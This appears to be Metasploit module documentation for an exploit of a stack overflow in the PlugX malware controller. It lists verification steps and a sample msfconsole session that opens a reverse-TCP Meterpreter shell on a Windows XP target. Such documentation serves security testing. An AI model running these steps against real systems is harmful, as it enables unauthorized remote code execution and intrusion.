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Vulnerable Application

This module exploits a stack overflow in the Plug-X Controller when handling a larger than expected message. This vulnerability can allow remote code execution however it causes a popup message to be displayed on the target before execution is gained.

A vulnerable version of the software is available here: PlugX type 1

Verification Steps

1. Run the application

2. Start msfconsole

3. Do: use exploit/windows/misc/plugx

4. Do: set rhost [ip]

5. Do: set target [target]

6. Do: exploit

7. Click OK for the "PeDecodePacket" pop-up on the target

8. Get a shell

Scenarios

Windows XP SP3 with PlugX type 1

msf > use exploit/windows/misc/plugx 
msf exploit(plugx) > set rhost 1.2.3.4
rhost => 1.2.3.4
msf exploit(plugx) > set target 1
target => 1
msf exploit(plugx) > set verbose true
verbose => true
msf exploit(plugx) > exploit

[*] Started reverse TCP handler on 1.2.3.99:4444 
[*] 1.2.3.4:13579 - Trying target PlugX Type I...
[*] 1.2.3.4:13579 - waiting for response
[*] Sending stage (956991 bytes) to 1.2.3.4
[*] Meterpreter session 1 opened (1.2.3.99:4444 -> 1.2.3.4:1975) at 2017-09-04 19:53:07 -0400
[*] 1.2.3.4:13579 - Server closed connection

meterpreter > getuid
Server username: WINXP\user